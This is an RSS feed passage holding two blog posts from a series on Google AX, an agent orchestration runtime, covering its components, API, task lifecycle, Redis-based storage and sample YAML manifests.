            <guid isPermaLink="false">https://medium.com/p/479c22bcfa8f</guid>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ax]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 05:10:28 GMT</pubDate>
            <atom:updated>2026-09-29T05:13:41.905Z</atom:updated>
            <content:encoded><![CDATA[<h4>Inside Google AX, Part 2: six components, an API that never sees your YAML, and the surprising reason every task is born suspended.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cYaxLmtt3B0vwvRljlQ94w.png" /></figure><p><em>This is Part 2 of “Inside Google AX,” a six-part series on Google’s open agentic orchestration runtime. Part 1 covered why AX keeps its tasks out of etcd, and the four nouns you need: Atespaces, Tasks, Workspaces, and Models.</em></p><p>Architecture diagrams are great at showing you boxes. They’re much worse at showing you <em>motion</em>.</p><p>So in this post, we’ll do something different. We’ll meet the six moving parts of AX, then follow one request from the moment you type ax apply -f task.yaml to the moment an agent process is actually running inside a sandbox. Along the way, we&#39;ll look at the API contract, the task lifecycle, and the Redis layer that holds it all together.</p><h3>The cast of characters</h3><p>AX has six components. Here’s who does what:</p><ul><li><strong>ax, the CLI (</strong><strong>cmd/ax).</strong> Your kubectl-style control surface: apply, get, describe, watch, delete, suspend, resume, and ssh. It also sets up port-forwarding tunnels for you automatically.</li><li><strong>ax-server.</strong> A stateless gRPC service on port 8080. It validates manifests, writes to Redis, and emits events. The same port also serves GET /healthz.</li><li><strong>ax-controller.</strong> A pool of workers that you can scale horizontally by adding replicas. It consumes Redis Streams and reconciles each Task toward its desired state.</li><li><strong>ax-task-runner.</strong> PID 1 inside every task container. It sets up workspaces, supervises your command, and exposes a small metadata HTTP surface.</li><li><strong>Redis.</strong> The storage layer: task records, event streams, and Pub/Sub for watches.</li><li><strong>Agent Substrate.</strong> An external system that lives in the ate-system namespace and does the actual sandbox execution: provisioning atespaces, creating and activating actors, assigning workers, isolating them with gVisor, and taking snapshots.</li></ul><p>Notice what is <em>not</em> on the list: the Kubernetes API server as a database. That’s Part 1’s big decision paying off.</p><h3>One request, end to end</h3><p>Here’s the full journey of a single ax apply:</p><pre>ax apply -f task.yaml<br>   │  YAML is parsed client-side into typed RPCs;<br>   │  the server never sees raw YAML<br>   ▼<br>ax-server (gRPC :8080)<br>   │  validate → write Task to Redis → emit event<br>   ▼<br>Redis (task records / event streams / Pub/Sub)<br>   │  XREADGROUP consumer group<br>   ▼<br>ax-controller workers<br>   │  reconcile: EnsureAtespace → EnsureActorTemplate<br>   │             → EnsureActor → ResumeActor<br>   ▼<br>Agent Substrate (api.ate-system.svc.cluster.local:443)<br>   │  starts a sandbox container on a worker node<br>   ▼<br>ax-task-runner (PID 1)<br>   │  prepare workspaces → /readyz 200 → start spec.command<br>   ▼<br>Agent process running<br>(the controller polls /readyz to drive the Ready condition)</pre><p>Read it top to bottom and you can see the division of labor. The server only accepts and records intent. The controller turns intent into action. Substrate owns the sandboxes. And the runner is the first thing that wakes up inside one.</p><h3>Where everything runs</h3><p>The deployment is split cleanly in two:</p><ul><li><strong>The AX control plane</strong> (ax-server, ax-controller, and Redis) is built with ko and deployed into the ax-system namespace with make deploy AX_IMAGE_REPO=&lt;registry&gt;.</li><li><strong>Agent Substrate</strong> is deployed separately into ate-system, where it provides the api service and the atenet-router.</li></ul><p>On your laptop, the CLI follows your current kube context and builds tunnels automatically, so switching clusters with kubectx just works.</p><h3>An API that never sees your YAML</h3><p>The control plane exposes a single gRPC service, ax.v1alpha1.AX, with 15 RPCs:</p><ul><li><strong>Tasks:</strong> GetTask / ListTasks / CreateTask. Listing is paginated with a limit and an offset. There is no update: tasks are immutable.</li><li><strong>More tasks:</strong> DeleteTask / SuspendTask / ResumeTask. Suspending means &quot;checkpoint actor state and pause the task.&quot;</li><li><strong>Watching tasks:</strong> WatchTask, a server-side stream that pushes status and condition changes in real time.</li><li><strong>Workspaces:</strong> Get, List, Update, and Delete. Here, Update means create-or-update.</li><li><strong>Models:</strong> the same four verbs, with the same semantics.</li></ul><p>Requests and responses follow the &lt;Method&gt;Request / &lt;Method&gt;Response naming convention, and the generated code lives in pkg/apis/v1alpha1.</p><p>A few messages are worth knowing by name:</p><ul><li><strong>TaskStatus:</strong> phase, id, actor, worker_ip, pending_approval, usage, conditions[]. The usage field counts prompt and completion tokens.</li><li><strong>Condition:</strong> type, status, last_transition_time, reason, message. Pure Kubernetes style.</li><li><strong>ModelSpec:</strong> provider, model, secret_key, parameters, where parameters is a free-form struct. Older typed fields such as temperature are now reserved.</li><li><strong>WorkspaceSpec:</strong> git[], files[], mcp, skills.</li></ul><p>Now for my favorite detail in this part of the codebase. The proto file carries an explicit comment: manifests are <strong>parsed on the client</strong> by ax apply into typed objects before any RPC is sent. <strong>The server never receives raw YAML.</strong></p><p>That buys two things:</p><ul><li><strong>A strongly typed API that can evolve safely.</strong> The server speaks protobuf, not “send me any YAML and I’ll figure it out.”</li><li><strong>Fast local validation.</strong> Take RFC 1123 names: at most 63 characters, lowercase letters, digits, or hyphens. ax apply rejects a bad name before it ever leaves your machine, instead of letting it fail much later as an ActorCreationFailed.</li></ul><h3>Phase tells you where. Conditions tell you why.</h3><p>A task’s status.phase is the headline: Running, Suspended, Failed, Terminating, Completed, and so on.</p><p>But a headline isn’t the whole story. That’s what conditions are for. Each condition records a type, a status (True or False), a last transition time, a reason, and a message. When the phase says Running, the conditions tell you whether the task is still setting up its workspace (reason=WorkspaceInitializing) or fully ready (reason=SetupComplete).</p><p>AX uses two conditions, and they behave very differently:</p><ul><li><strong>WorkspaceReady is a one-time latch.</strong> It flips to True when the runner&#39;s /readyz endpoint changes from 503 to 200. The reconciler polls it every 500 ms, for up to 15 seconds, and then records reason=SetupComplete. After that, it <strong>never</strong> goes back to False. It survives suspends and failures; the reconciler&#39;s setNotReady helper deliberately leaves it alone.</li><li><strong>Ready is a derived aggregate.</strong> It&#39;s True only when the actor is running <strong>and</strong> WorkspaceReady is True. Suspending a task sets it to False with reason=TaskSuspended, and it flips back after a resume. A failed create or reconcile also sets it to False, with a reason such as ActorCreationFailed.</li></ul><p>The split makes sense once you see it: workspace setup is a one-off milestone, while readiness is a live fact that can change minute to minute.</p><h3>The lifecycle, and a task that’s born asleep</h3><p>Here is the Task state machine:</p><pre>CreateTask<br>   │<br>   ▼<br>Suspended      ← every new task is born here<br>   │ ax resume<br>   │ reconcile: ResumeActor → gets a worker IP<br>   ▼<br>Running<br>   │ ax suspend<br>   │ Ready=False (reason=TaskSuspended),<br>   │ checkpoint taken, sandbox disappears<br>   ▼<br>Suspended<br>   │ ax resume → back to Running:<br>   │ snapshot restored, same files, new process tree<br>   │<br>   │ ax delete<br>   │ MarkTaskDeleting → phase=Terminating,<br>   │ a delete event is emitted<br>   ▼<br>Terminating<br>   │ controller deletes the actor and its template<br>   ▼<br>Record deleted</pre><p>Look at the very top. <strong>A task is born suspended.</strong></p><p>That surprised me the first time. But it’s right there in the reconciler: if the phase is Suspended or empty, the actor stays suspended and the reconcile returns immediately. The project’s own demo.sh reflects it, too: every ax apply is followed by an explicit ax resume task demo-task.</p><p>Why would you want that? Because it makes two useful behaviors the default. You can <strong>declare tasks in bulk and start them when you choose</strong>, and you keep <strong>cold-start costs under control</strong>, since nothing spins up until you ask for it.</p><h3>Redis: one datastore, three jobs</h3><p>Everything in this post runs through Redis, so let’s look at how AX wraps it. The core interface lives in internal/store/store.go:</p><pre>type Store interface {<br>    EventQueue // embedded event queue<br>    // Task: Save / Get / List / UpdateTaskStatus /<br>    //       MarkTaskDeleting / DeleteTask<br>    // Workspace, Model: CRUD<br>    WatchTask(ctx, atespace, name) (&lt;-chan *Task, io.Closer, error)<br>    Close() error<br>}</pre><p>And here’s the event queue it embeds:</p><pre>type TaskEvent struct { ID, Atespace, Name, Action string }<br>// Action: &quot;reconcile&quot; | &quot;delete&quot;<br>type EventQueue interface {<br>    Subscribe(ctx, group, consumer string) (Subscription, error)<br>}<br>type Subscription interface {<br>    Next(ctx) (TaskEvent, error)  // blocks until an event arrives<br>    Ack(ctx, ev TaskEvent) error  // confirms it was handled<br>    Close() error<br>}</pre><p>A few things fall out of this design:</p><ul><li><strong>Each event goes to exactly one member of a consumer group,</strong> and it stays pending until that member acknowledges it. If a worker crashes mid-flight, its events can be picked up again. That’s at-least-once delivery.</li><li><strong>It’s a thin abstraction over Redis Streams and </strong><strong>XREADGROUP.</strong> Scaling the controller horizontally just means adding replicas; the group spreads the load automatically.</li><li><strong>Redis wears three hats at once:</strong> it stores task records, it carries the event stream that acts as the work queue, and it runs the Pub/Sub channels that power watch.</li></ul><h3>Key takeaways</h3><ul><li>AX has six parts: a kubectl-style CLI, a stateless gRPC server, horizontally scalable controller workers, a runner at PID 1 in every sandbox, Redis, and Agent Substrate.</li><li>The server only records intent; controllers act on it through Redis Streams; Substrate owns the sandboxes.</li><li>YAML never crosses the wire. The CLI parses manifests into typed protobuf, which keeps the API strict and lets errors surface early.</li><li>Phase is the headline; conditions are the story. WorkspaceReady is a one-time latch, while Ready is recomputed live.</li><li>Every task is born suspended, which makes bulk declaration and controlled cold starts the default.</li></ul><p><em>Next up, in Part 3: we’ve used the word “reconcile” a dozen times now. Time to explain what it actually means, with the help of a thermostat, and look at the one decision that makes AX’s version unusual.</em></p><p><strong>Inside Google AX: the series</strong></p><ol><li>Why Google AX skipped CRDs, and its four building blocks</li><li>From ax apply to a running sandbox <em>(you are here)</em></li><li>Reconcile, explained like a thermostat</li><li>Three walls and a maintenance hatch</li><li>Your agent is never PID 1</li><li>Environments that build themselves, and one router for a billion tasks</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=479c22bcfa8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google AX Wants to Be Kubernetes for AI Agents. So Why Did It Skip CRDs?]]></title>
            <link>https://medium.com/@Asy0y0/google-ax-wants-to-be-kubernetes-for-ai-agents-so-why-did-it-skip-crds-3d5a9e439c95?source=rss-9df4e6fbdbdf------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d5a9e439c95</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ax]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 06:11:28 GMT</pubDate>
            <atom:updated>2026-09-28T06:11:28.627Z</atom:updated>
            <content:encoded><![CDATA[<h4>Inside Google AX, Part 1: the one architectural bet everything else follows from, and the four building blocks you need before reading any of the code.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*57VNvGPAzn783yPF9trMvg.png" /></figure><p><em>This is Part 1 of “Inside Google AX,” a six-part series in which I take apart Google’s open agentic orchestration runtime, one design decision at a time.</em></p><p>Picture an orchestration system so successful that its success is exactly what knocks over the cluster it runs on.</p><p>For most projects, that’s a far-fetched failure mode. For <a href="https://github.com/google/ax">Google AX</a>, it was the starting constraint. Once you see it, almost every other design choice in the codebase starts to make sense.</p><p>I’ve been reading through AX’s source code and docs, and this series is my attempt to explain what I found the way I wish someone had explained it to me: less “here is a list of components,” more “here is why they are shaped this way.”</p><p>One caveat before we start: AX’s API is still at v1alpha1. Treat everything here as a study of the architecture, not as a stable reference. Names and fields may change.</p><h3>What AX is trying to be</h3><p>The pitch fits in one sentence: give <strong>agent workloads</strong> the same experience Kubernetes gives containers.</p><p>That means the familiar trio:</p><ul><li><strong>Manifests</strong> that declare what you want</li><li><strong>Verbs</strong> like apply, get, and watch</li><li><strong>Declarative reconciliation</strong> that keeps turning what you declared into what is actually running</li></ul><p>Under the hood, the sandboxed execution itself is delegated to a separate system called <a href="https://github.com/agent-substrate/substrate">Agent Substrate</a>. AX is the orchestration layer on top of it.</p><h3>Agents are a new kind of workload</h3><p>AX’s core argument is that an agentic task is neither a stateless microservice nor a classic batch job. It has four properties that set it apart:</p><ol><li><strong>It accumulates state:</strong> files on disk, conversation context, intermediate artifacts.</li><li><strong>It needs isolation:</strong> an agent runs untrusted code, and it may spawn sub-tasks of its own.</li><li><strong>It calls external model APIs,</strong> which means credentials to manage and usage to account for.</li><li><strong>Left unattended, it will happily burn money in a loop.</strong> That’s why checkpointing, pausing, and budget control are first-class concerns rather than afterthoughts.</li></ol><p>The execution shape is different, too. An agent isn’t one process doing one thing. It plans, delegates, retries, and fans out.</p><p>AX’s answer is refreshingly minimal. It provides <strong>exactly one tiny primitive: the Task</strong>, which the project describes as “cheap to create, isolate, suspend, and throw away.” Agents compose complex behavior out of trees of tasks, and every node in the tree, root or child, gets the same sandbox, the same lifecycle, and the same tools.</p><h3>The obvious move: make it a CRD</h3><p>If you set out to build an orchestrator on Kubernetes, there’s a well-trodden path: the operator pattern.</p><p>You register Task, Workspace, and Model as Custom Resource Definitions (CRDs), let the Kubernetes API server store them, and write an operator that watches those resources and reconciles them. Projects like cert-manager and Argo are built exactly this way.</p><p>The appeal is obvious. You get storage, a watch mechanism, and kubectl compatibility for free.</p><h3>Why AX said no</h3><p>The problem is a mismatch in scale and in workload shape.</p><p>AX is aiming to run <em>billions</em> of autonomous agent tasks, and those tasks are short-lived: created and destroyed constantly. That lands squarely on the two weak spots of etcd, the key-value store behind every Kubernetes API server:</p><ol><li><strong>A capacity ceiling.</strong> A single etcd cluster tops out at a single-digit number of gigabytes. Every CRD object takes up space, and so does its revision history, so the records for millions of short-lived tasks would fill etcd up fast.</li><li><strong>A write-throughput bottleneck.</strong> Constantly creating, updating, and deleting tasks means sustained write pressure, and etcd is shared by every component in the cluster. Saturate it, and <strong>it’s not just AX that degrades. It’s Pod scheduling, autoscaling, and Service changes for everything else running in that cluster.</strong></li></ol><p>Put bluntly: <strong>with CRDs, AX’s own success would drag down the cluster hosting it.</strong></p><p>So AX made a different call. <strong>State lives in Redis. The work queue runs on Redis Streams.</strong> Kubernetes is only responsible for running the control plane itself.</p><p>This is the single most important decision in the whole architecture. As the series goes on, you’ll keep spotting its fingerprints: in how events flow, in how failures are retried, even in how network traffic reaches a task.</p><h3>Meet the four building blocks</h3><p>Before we can follow a task through the system, we need AX’s vocabulary. There are four nouns worth learning.</p><h3>Atespace: the scope</h3><p>Every AX resource lives inside an <em>atespace</em>. The default one is called default. Think of it as AX&#39;s version of a Kubernetes namespace; the unusual name is a deliberate bit of branding. On the command line, you pick one with -a or --atespace.</p><h3>Task: the smallest unit of isolated execution</h3><p>Here’s what a Task manifest looks like:</p><pre>apiVersion: ax.io/v1alpha1<br>kind: Task<br>metadata:<br>  name: task123<br>  atespace: default<br>spec:<br>  image: &quot;gcr.io/.../ax-task-runner@sha256:...&quot;  # customizable<br>  command: [&quot;python&quot;, &quot;agent.py&quot;]  # runs inside the sandbox<br>  env:<br>    - name: ENVIRONMENT<br>      value: &quot;test&quot;<br>  resources:                       # K8s-style requests/limits<br>    requests: { cpu: &quot;500m&quot;, memory: &quot;1Gi&quot; }<br>    limits:   { cpu: &quot;2&quot;,    memory: &quot;4Gi&quot; }<br>  workspaces:<br>    - name: default-workspace      # bind a Workspace<br>      path: /workspace             # default: /workspace/&lt;name&gt;<br>      goal: &quot;Install dependencies and run tests&quot;  # optional<br>  debug: true  # guest services for ax ssh (off by default)</pre><p>A few rules are worth internalizing:</p><ul><li><strong>A Task is immutable after creation.</strong> There is no Update RPC. If you want to change one, you delete it and create it again.</li><li><strong>Workspace bindings are prepared in order.</strong> Each one needs a unique path, and <strong>the first one becomes the working directory</strong> of your command.</li><li><strong>A goal belongs to a binding, not to the task.</strong> It tells the runner what state this particular environment should reach, and a setup agent works to satisfy it the first time the task starts.</li></ul><h3>Workspace: warm starts, declared once</h3><p>Every agent framework seems to reinvent environment setup: clone these repos, drop in those files, wire up these tools. A Workspace lets you declare all of that <strong>once</strong> and bind it to as many Tasks as you like. Inside each sandbox, the runner materializes it for you, so the agent starts warm instead of cold. Workspaces are reusable, and unlike Tasks, they can be updated.</p><pre>apiVersion: ax.io/v1alpha1<br>kind: Workspace<br>metadata:<br>  name: default-workspace<br>  atespace: default<br>spec:<br>  git:                        # which repos to clone<br>    - name: origin<br>      repo: https://github.com/chalk/chalk.git<br>      branch: main<br>      dir: .                  # optional: checkout directory<br>      depth: 1                # optional: shallow clone<br>  files:                      # inline files, e.g. AGENTS.md<br>    - path: AGENTS.md<br>      content: &quot;...&quot;<br>  mcp:                        # MCP tool servers<br>    registries:<br>      - provider: google<br>        query: &quot;mcp.tags:build&quot;<br>    servers:<br>      - name: git-tools<br>        endpoint: &quot;git-mcp.default.svc.cluster.local:8080&quot;<br>  skills:                     # skill packs and where they land<br>    registries:<br>      - provider: google<br>        query: &quot;skills.tags:nodejs&quot;<br>    path: /.agents/skills</pre><h3>Model: model configuration as a cluster resource</h3><p>Why make a model a first-class resource? Because it turns operational chores into a single command. <strong>Rotating a key, pinning a version, or tuning a parameter becomes one </strong>ax apply<strong>,</strong> instead of a hunt through every Task definition you own.</p><pre>apiVersion: ax.io/v1alpha1<br>kind: Model<br>metadata:<br>  name: default-model<br>  atespace: default<br>spec:<br>  provider: google        # or anthropic<br>  model: gemini-3.8-flash<br>  secretKey:              # credentials come from a K8s Secret<br>    name: gemini-api-secret<br>    key: GEMINI_API_KEY<br>  parameters:             # free-form, passed to the model API<br>    maxTokens: 16000</pre><p>AX’s own components are built to consume Model resources, too. The workspace planner, which we’ll meet in Part 6, loads its settings from one named default-model.</p><h3>Suspend, resume, and SSH</h3><p>Three verbs round out the picture:</p><ul><li>ax suspend checkpoints the actor&#39;s state and pauses the task. The sandbox itself disappears; a snapshot of its filesystem is kept.</li><li>ax resume restores the task in place from that snapshot: the same files, with a brand-new process tree.</li><li>ax ssh drops you into a shell inside a running sandbox so you can watch and debug. It only works if the task sets spec.debug: true, because the guest services behind it allow arbitrary process execution and file access. That&#39;s powerful enough that it has to be off by default. Part 4 digs into exactly why.</li></ul><h3>How the pieces fit together</h3><p>The relationships between these nouns are simple, but one of them is easy to get wrong.</p><ul><li><strong>Atespace to resources is containment.</strong> One atespace can hold many Tasks, Workspaces, and Models. The three kinds are peers; none of them lives inside another.</li><li><strong>Task to Workspace is a reference, not ownership.</strong> A Task points at Workspaces by name in spec.workspaces. (A WorkspaceRef has exactly three fields: name, path, and goal.) One Task can bind several Workspaces, ordered, each at its own path, with the first as the working directory. One Workspace can be bound by many Tasks.</li></ul><p>And here’s the subtle part: <strong>the declaration is shared, but the runtime is not.</strong></p><p>A Workspace is an environment <em>recipe</em>. For every Task that binds it, the runner cooks a fresh copy inside that Task’s own sandbox: it clones the repos, writes the inline files, and prepares the skills directory. Two Tasks bound to the same Workspace end up with two independent copies in two different sandboxes, not one shared directory.</p><p>If you think in Kubernetes terms, a Workspace resembles a ConfigMap (declare once, reference it from many places), but it behaves like “every reference gets its own copy” rather than a shared PersistentVolumeClaim.</p><h3>Key takeaways</h3><ul><li>AX brings the Kubernetes experience (manifests, verbs, reconciliation) to agent workloads and delegates sandboxed execution to Agent Substrate.</li><li>Agents accumulate state, need isolation, call paid APIs, and can loop forever. AX gives them one cheap primitive, the Task, and lets them build trees of tasks.</li><li>AX deliberately keeps its objects out of etcd. With billions of short-lived tasks, CRDs would turn AX’s success into its host cluster’s outage, so Redis and Redis Streams carry the load instead.</li><li>The vocabulary: atespaces scope everything, Tasks are immutable, Workspaces are shared recipes with private copies, and Models centralize credentials and parameters.</li></ul><p><em>Next up, in Part 2: we’ll follow a single task from </em>ax apply<em> all the way to a running sandbox, and find out why every task in AX is born suspended.</em></p><p><strong>Inside Google AX: the series</strong></p><ol><li>Why Google AX skipped CRDs, and its four building blocks <em>(you are here)</em></li><li>From ax apply to a running sandbox</li><li>Reconcile, explained like a thermostat</li><li>Three walls and a maintenance hatch</li><li>Your agent is never PID 1</li><li>Environments that build themselves, and one router for a billion tasks</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d5a9e439c95" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>